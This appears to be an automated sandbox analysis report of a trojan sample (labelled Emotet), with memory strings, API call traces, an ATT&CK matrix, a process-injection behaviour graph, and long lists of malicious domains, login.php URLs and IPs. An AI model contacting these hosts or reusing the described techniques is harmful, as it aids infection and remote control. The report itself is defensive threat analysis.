Source: svchost.exeString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000003.2651597551.0000000002D30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000003.2651597551.0000000002D30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000003.2136779480.0000000000881000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000003.2136779480.0000000000881000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3391913803.0000000002CD1000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3391913803.0000000002CD1000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3391439892.00000000029A0000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3391439892.00000000029A0000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3391439892.00000000029F3000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3391439892.00000000029F3000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exeString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exeString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000006.00000002.2562028304.0000000001740000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000006.00000002.2562028304.0000000001740000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000006.00000002.2561383940.00000000016E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000006.00000002.2561383940.00000000016E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exeString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exeString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000007.00000002.2554723271.0000000002FA0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000007.00000002.2554723271.0000000002FA0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000007.00000002.2555462875.0000000003100000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000007.00000002.2555462875.0000000003100000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exeString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exeString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000000A.00000002.2576688656.0000000001520000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000000A.00000002.2576688656.0000000001520000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000000A.00000002.2575020460.00000000014C0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000000A.00000002.2575020460.00000000014C0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000000E.00000002.2558937111.0000000002920000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000000E.00000002.2558937111.0000000002920000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000000E.00000002.2560722712.0000000002AC0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000000E.00000002.2560722712.0000000002AC0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000010.00000002.2538477716.0000000002A60000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000010.00000002.2538477716.0000000002A60000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000010.00000002.2535763642.0000000002790000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000010.00000002.2535763642.0000000002790000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000014.00000002.2584784821.00000000027D0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000014.00000002.2584784821.00000000027D0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000014.00000002.2583716021.0000000002650000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000014.00000002.2583716021.0000000002650000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000016.00000002.2606518078.00000000005E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000016.00000002.2606518078.00000000005E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000016.00000002.2610943205.0000000002340000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000016.00000002.2610943205.0000000002340000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000019.00000002.2629072397.0000000002B90000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000019.00000002.2629072397.0000000002B90000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000019.00000002.2643934604.0000000002F50000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000019.00000002.2643934604.0000000002F50000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000001C.00000002.2632299607.0000000002D10000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000001C.00000002.2632299607.0000000002D10000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000001C.00000002.2632514116.0000000002EB0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000001C.00000002.2632514116.0000000002EB0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000001F.00000002.2699028400.0000000002790000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000001F.00000002.2699028400.0000000002790000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000001F.00000002.2699100650.00000000027F0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 0000001F.00000002.2699100650.00000000027F0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000022.00000002.2697002323.0000000002740000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000022.00000002.2697002323.0000000002740000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000022.00000002.2695460193.0000000000BD0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000022.00000002.2695460193.0000000000BD0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000024.00000002.2645314223.00000000023A0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000024.00000002.2645314223.00000000023A0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000024.00000002.2645122457.0000000002200000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: NcYLgtXIKJgHj.exe, 00000024.00000002.2645122457.0000000002200000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C888F0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,2_2_02C888F0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C9E6D0 setsockopt,htons,socket,setsockopt,bind,2_2_02C9E6D0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C9F4A0 htons,socket,setsockopt,closesocket,bind,listen,2_2_02C9F4A0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_017588F0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,6_2_017588F0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0176F4A0 htons,socket,setsockopt,closesocket,bind,listen,6_2_0176F4A0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0176E6D0 setsockopt,htons,socket,setsockopt,bind,6_2_0176E6D0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_031188F0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,7_2_031188F0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0312E6D0 setsockopt,htons,socket,setsockopt,bind,7_2_0312E6D0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0312F4A0 htons,socket,setsockopt,closesocket,bind,listen,7_2_0312F4A0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_015388F0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,10_2_015388F0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0154F4A0 htons,socket,setsockopt,closesocket,bind,listen,10_2_0154F4A0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0154E6D0 setsockopt,htons,socket,setsockopt,bind,10_2_0154E6D0

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire Infrastructure1
Valid Accounts		22
Native API		1
DLL Side-Loading		1
Abuse Elevation Control Mechanism		1
Disable or Modify Tools		111
Input Capture		2
System Time Discovery		1
Remote Desktop Protocol		1
Archive Collected Data		4
Ingress Tool Transfer		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault Accounts2
Command and Scripting Interpreter		1
Create Account		1
DLL Side-Loading		1
Abuse Elevation Control Mechanism		LSASS Memory11
Account Discovery		Remote Desktop Protocol1
Screen Capture		11
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts1
Scheduled Task/Job		1
Valid Accounts		1
Valid Accounts		1
Obfuscated Files or Information		Security Account Manager1
System Network Connections Discovery		SMB/Windows Admin Shares111
Input Capture		11
Non-Standard Port		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCron1
Scheduled Task/Job		1
Access Token Manipulation		31
Software Packing		NTDS2
File and Directory Discovery		Distributed Component Object Model2
Clipboard Data		1
Remote Access Software		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchd1
Registry Run Keys / Startup Folder		613
Process Injection		1
DLL Side-Loading		LSA Secrets143
System Information Discovery		SSHKeylogging3
Non-Application Layer Protocol		Scheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled Task1
Bootkit		1
Scheduled Task/Job		322
Masquerading		Cached Domain Credentials1
Query Registry		VNCGUI Input Capture14
Application Layer Protocol		Data Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items1
Registry Run Keys / Startup Folder		1
Valid Accounts		DCSync351
Security Software Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
Access Token Manipulation		Proc Filesystem151
Virtualization/Sandbox Evasion		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt151
Virtualization/Sandbox Evasion		/etc/passwd and /etc/shadow13
Process Discovery		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron613
Process Injection		Network Sniffing11
Application Window Discovery		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd1
Bootkit		Input Capture1
System Owner/User Discovery		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1553809 Sample: Bpfz752pYZ.exe Startdate: 11/11/2024 Architecture: WINDOWS Score: 100 44 vowyzuf.com 2->44 46 vowymom.com 2->46 48 1008 other IPs or domains 2->48 70 Suricata IDS alerts for network traffic 2->70 72 Malicious sample detected (through community Yara rule) 2->72 74 Antivirus detection for URL or domain 2->74 76 18 other signatures 2->76 9 Bpfz752pYZ.exe 2 3 2->9         started        signatures3 process4 file5 40 C:\Windows\apppatch\svchost.exe, PE32 9->40 dropped 42 C:\Windows\...\svchost.exe:Zone.Identifier, ASCII 9->42 dropped 78 Detected unpacking (changes PE section rights) 9->78 80 Detected unpacking (overwrites its own PE header) 9->80 82 Moves itself to temp directory 9->82 84 8 other signatures 9->84 13 svchost.exe 2 122 9->13         started        signatures6 process7 dnsIp8 56 lykywid.com 13->56 58 vofyruc.com 13->58 60 28 other IPs or domains 13->60 86 System process connects to network (likely due to code injection or exploit) 13->86 88 Detected unpacking (changes PE section rights) 13->88 90 Detected unpacking (overwrites its own PE header) 13->90 92 16 other signatures 13->92 17 NcYLgtXIKJgHj.exe 13->17 injected 20 NcYLgtXIKJgHj.exe 13->20 injected 22 NcYLgtXIKJgHj.exe 13->22 injected 24 9 other processes 13->24 signatures9 process10 dnsIp11 64 Monitors registry run keys for changes 17->64 66 Contains VNC / remote desktop functionality (version string found) 17->66 68 Found direct / indirect Syscall (likely to bypass EDR) 17->68 27 WerFault.exe 17->27         started        29 WerFault.exe 20->29         started        50 188.114.97.3, 443, 59138, 59146 CLOUDFLARENETUS European Union 24->50 52 75.2.71.199, 443, 50524, 59137 AMAZON-02US United States 24->52 54 2 other IPs or domains 24->54 31 WerFault.exe 24->31         started        34 WerFault.exe 24->34         started        36 WerFault.exe 24->36         started        38 5 other processes 24->38 signatures12 process13 dnsIp14 62 gaqyzyb.com 31->62

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
Bpfz752pYZ.exe82%ReversingLabsWin32.Trojan.Emotet
Bpfz752pYZ.exe100%AviraTR/Crypt.XPACK.Gen
Bpfz752pYZ.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://puzylyp.com/login.php100%Avira URL Cloudmalware
http://vofybic.com/login.php100%Avira URL Cloudmalware
http://volyjym.com/login.php100%Avira URL Cloudmalware
http://lyryxen.com/login.php100%Avira URL Cloudmalware
http://vojyzyt.com/login.php100%Avira URL Cloudmalware
http://purymuq.com/login.php100%Avira URL Cloudmalware
http://lyxyvyn.com/login.php100%Avira URL Cloudmalware
http://vojyjyc.com/login.php100%Avira URL Cloudphishing
http://www.google.comtor0%Avira URL Cloudsafe
http://vopycom.com/login.php100%Avira URL Cloudmalware
http://qexynyq.com/login.php100%Avira URL Cloudmalware
http://gadykos.com/login.php100%Avira URL Cloudmalware
http://qexyfuq.com/login.php100%Avira URL Cloudmalware
http://galyvuz.com/login.php100%Avira URL Cloudmalware
http://lyryman.com/login.php100%Avira URL Cloudmalware
http://vowyrif.com/login.php100%Avira URL Cloudmalware
http://lygyxun.com/login.php100%Avira URL Cloudmalware
http://ganyzub.com/login.php100%Avira URL Cloudphishing
http://galydyw.com/100%Avira URL Cloudmalware
http://lyvysur.com/login.php100%Avira URL Cloudmalware
http://qekyhil.com/login.php100%Avira URL Cloudmalware
http://qexyvoq.com/login.php100%Avira URL Cloudmalware
http://galydyw.com/login.php100%Avira URL Cloudmalware
http://vofydac.com/login.php100%Avira URL Cloudmalware
http://qetyhyg.com/login.php100%Avira URL Cloudphishing
http://qeqykyv.com/H100%Avira URL Cloudmalware
http://gahyvab.com/login.php100%Avira URL Cloudmalware
http://lymyner.com/login.php100%Avira URL Cloudmalware
http://ganyhus.com/H100%Avira URL Cloudmalware
http://lygytyd.com/login.php100%Avira URL Cloudmalware
http://pujyteq.com/login.php100%Avira URL Cloudmalware
http://pufytip.com/login.php100%Avira URL Cloudmalware
http://lysytoj.com/login.php100%Avira URL Cloudmalware
http://qetynev.com/login.php0%Avira URL Cloudsafe
http://gatykyh.com/login.php100%Avira URL Cloudmalware
http://qedyhyl.com/login.php100%Avira URL Cloudmalware
http://pupycuv.com/login.php100%Avira URL Cloudmalware
http://pujylog.com/login.php100%Avira URL Cloudmalware
http://qetyvil.com/login.php100%Avira URL Cloudmalware
http://gadyniw.com/login.php100%Avira URL Cloudmalware
http://lysynaj.com/login.php100%Avira URL Cloudmalware
http://vopygat.com/login.php100%Avira URL Cloudphishing
http://puzytap.com/login.php100%Avira URL Cloudmalware
http://lyxygur.com/login.php100%Avira URL Cloudmalware
http://gaqyres.com/login.php100%Avira URL Cloudmalware
https://puzylyp.com/login.php100%Avira URL Cloudmalware
http://qeqyxyp.com/login.php100%Avira URL Cloudmalware
http://puzybil.com/login.php0%Avira URL Cloudsafe
http://lyvynid.com/login.php100%Avira URL Cloudmalware
http://106.15.232.163:8000/dh/147287063_134827.html#index8?d=lyrysor.com0%Avira URL Cloudsafe
http://qegyfyp.com/login.php100%Avira URL Cloudmalware
http://qeqykog.com/login.php100%Avira URL Cloudphishing
http://lysyxar.com/login.php100%Avira URL Cloudmalware
http://lygyjuj.com/login.php100%Avira URL Cloudmalware
http://lyxygax.com/login.php100%Avira URL Cloudmalware
http://qedykiv.com/login.php100%Avira URL Cloudmalware
http://pumytup.com/login.php100%Avira URL Cloudmalware
http://qedyrag.com/login.php100%Avira URL Cloudmalware
http://puzylol.com/login.php100%Avira URL Cloudphishing
http://puvydov.com/login.php100%Avira URL Cloudmalware
http://gahyqub.com/login.php100%Avira URL Cloudmalware
http://pupywog.com/login.php100%Avira URL Cloudmalware
http://pumyxiv.com/login.php100%Avira URL Cloudmalware
http://qedyruv.com/login.php100%Avira URL Cloudmalware
http://pufyxov.com/login.phpcom/login.php100%Avira URL Cloudphishing
http://volycem.com/login.php100%Avira URL Cloudmalware
http://puzyduq.com/login.php100%Avira URL Cloudmalware
http://puzydal.com/login.php100%Avira URL Cloudmalware
http://galyqaz.com/login.php100%Avira URL Cloudmalware
http://lyxysad.com/login.php100%Avira URL Cloudmalware
http://gahyzez.com/login.php100%Avira URL Cloudmalware
http://vopymyc.com/login.php100%Avira URL Cloudmalware
http://puryxag.com/login.php100%Avira URL Cloudmalware
http://purywyl.com/login.php100%Avira URL Cloudmalware
http://vojycec.com/login.php100%Avira URL Cloudmalware
http://gatyfus.com/login.php100%Avira URL Cloudmalware
http://pufybyv.com/login.php100%Avira URL Cloudmalware
http://ganyfes.com/login.php100%Avira URL Cloudmalware
http://lyvyjox.com/login.php100%Avira URL Cloudmalware
http://qegytyv.com/login.php100%Avira URL Cloudmalware
http://volydot.com/login.php100%Avira URL Cloudphishing
http://galyquw.com/login.php100%Avira URL Cloudmalware
http://lykyvod.com/login.php100%Avira URL Cloudmalware
http://pujydap.com/login.php100%Avira URL Cloudmalware
http://gadyneh.com/login.php100%Avira URL Cloudmalware
http://vocydyc.com/login.php100%Avira URL Cloudmalware
http://lysyvan.com/login.php100%Avira URL Cloudmalware
http://ganyvyw.com/login.php100%Avira URL Cloudmalware
http://lyvyxyj.com/login.php100%Avira URL Cloudmalware
http://lykywid.com/login.php100%Avira URL Cloudmalware
http://qexyhuv.com/login.php100%Avira URL Cloudmalware
http://qexylup.com/login.php100%Avira URL Cloudmalware
http://lymylij.com/login.php0%Avira URL Cloudsafe
http://pumybuq.com/login.php0%Avira URL Cloudsafe
http://pufymyg.com/login.php100%Avira URL Cloudmalware
http://pupyteg.com/login.php100%Avira URL Cloudmalware
http://qedyfog.com/login.php100%Avira URL Cloudmalware
http://vojybef.com/login.php100%Avira URL Cloudmalware
http://ganycuh.com/login.php100%Avira URL Cloudmalware
http://pufylul.com/login.php100%Avira URL Cloudmalware

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
pupydeq.com
13.248.169.48
truetrue
    		unknown
    pupycag.com
    		18.208.156.248
    		truetrue
      		unknown
      lyvyxor.com
      		208.100.26.245
      		truetrue
        		unknown
        77026.bodis.com
        		199.59.243.227
        		truefalse
          		high
          lysyvan.com
          		188.114.96.3
          		truetrue
            		unknown
            galynuh.com
            		64.225.91.73
            		truetrue
              		unknown
              parkingpage.namecheap.com
              		91.195.240.19
              		truefalse
                		high
                qegyhig.com
                		188.114.96.3
                		truetrue
                  		unknown
                  gatyfus.com
                  		85.17.31.82
                  		truetrue
                    		unknown
                    vonypom.com
                    		18.208.156.248
                    		truetrue
                      		unknown
                      puzylyp.com
                      		99.83.170.3
                      		truetrue
                        		unknown
                        qexyhuv.com
                        		76.223.67.189
                        		truetrue
                          		unknown
                          77980.bodis.com
                          		199.59.243.227
                          		truefalse
                            		high
                            pltraffic7.com
                            		72.52.179.174
                            		truefalse
                              		high
                              gadyciz.com
                              		44.221.84.105
                              		truetrue
                                		unknown
                                gadyniw.com
                                		154.212.231.82
                                		truetrue
                                  		unknown
                                  lyxynyx.com
                                  		103.224.212.210
                                  		truetrue
                                    		unknown
                                    www.sedoparking.com
                                    		64.190.63.136
                                    		truefalse
                                      		high
                                      lygyvuj.com
                                      		52.34.198.229
                                      		truetrue
                                        		unknown
                                        lygynud.com
                                        		3.94.10.34
                                        		truetrue
                                          		unknown
                                          gahyqah.com
                                          		23.253.46.64
                                          		truetrue
                                            		unknown
                                            vocyzit.com
                                            		44.221.84.105
                                            		truetrue
                                              		unknown
                                              galyqaz.com
                                              		199.191.50.83
                                              		truetrue
                                                		unknown
                                                vofycot.com
                                                		103.224.182.252
                                                		truetrue
                                                  		unknown
                                                  qetyhyg.com
                                                  		64.225.91.73
                                                  		truetrue
                                                    		unknown
                                                    gahyhiz.com
                                                    		44.221.84.105
                                                    		truetrue
                                                      		unknown
                                                      qetyfuv.com
                                                      		44.221.84.105
                                                      		truetrue
                                                        		unknown
                                                        gtm-sg-6l13ukk0m05.qu200.com
                                                        		103.150.10.48
                                                        		truetrue
                                                          		unknown
                                                          lymyxid.com
                                                          		3.94.10.34
                                                          		truetrue
                                                            		unknown
                                                            qegyval.com
                                                            		154.85.183.50
                                                            		truetrue
                                                              		unknown
                                                              gatyzoz.com
                                                              		unknown
                                                              		unknowntrue
                                                                		unknown
                                                                lykygaj.com
                                                                		unknown
                                                                		unknowntrue
                                                                  		unknown
                                                                  qedyxel.com
                                                                  		unknown
                                                                  		unknowntrue
                                                                    		unknown
                                                                    qedyqup.com
                                                                    		unknown
                                                                    		unknowntrue
                                                                      		unknown
                                                                      qekyluv.com
                                                                      		unknown
                                                                      		unknowntrue
                                                                        		unknown
                                                                        gatyrez.com
                                                                        		unknown
                                                                        		unknowntrue
                                                                          		unknown
                                                                          vofybic.com
                                                                          		unknown
                                                                          		unknowntrue
                                                                            		unknown
                                                                            pujydag.com
                                                                            		unknown
                                                                            		unknowntrue
                                                                              		unknown
                                                                              vojykom.com
                                                                              		unknown
                                                                              		unknowntrue
                                                                                		unknown
                                                                                qetysuq.com
                                                                                		unknown
                                                                                		unknowntrue
                                                                                  		unknown
                                                                                  vonyzut.com
                                                                                  		unknown
                                                                                  		unknowntrue
                                                                                    		unknown
                                                                                    pufyjuq.com
                                                                                    		unknown
                                                                                    		unknowntrue
                                                                                      		unknown
                                                                                      pujytug.com
                                                                                      		unknown
                                                                                      		unknowntrue
                                                                                        		unknown
                                                                                        galyhiw.com
                                                                                        		unknown
                                                                                        		unknowntrue
                                                                                          		unknown
                                                                                          lykygun.com
                                                                                          		unknown
                                                                                          		unknowntrue
                                                                                            		unknown
                                                                                            vopymyc.com
                                                                                            		unknown
                                                                                            		unknowntrue
                                                                                              		unknown
                                                                                              gatyfaz.com
                                                                                              		unknown
                                                                                              		unknowntrue
                                                                                                		unknown
                                                                                                vojycit.com
                                                                                                		unknown
                                                                                                		unknowntrue
                                                                                                  		unknown
                                                                                                  lyvymej.com
                                                                                                  		unknown
                                                                                                  		unknowntrue
                                                                                                    		unknown
                                                                                                    lygyvar.com
                                                                                                    		unknown
                                                                                                    		unknowntrue
                                                                                                      		unknown
                                                                                                      purygiv.com
                                                                                                      		unknown
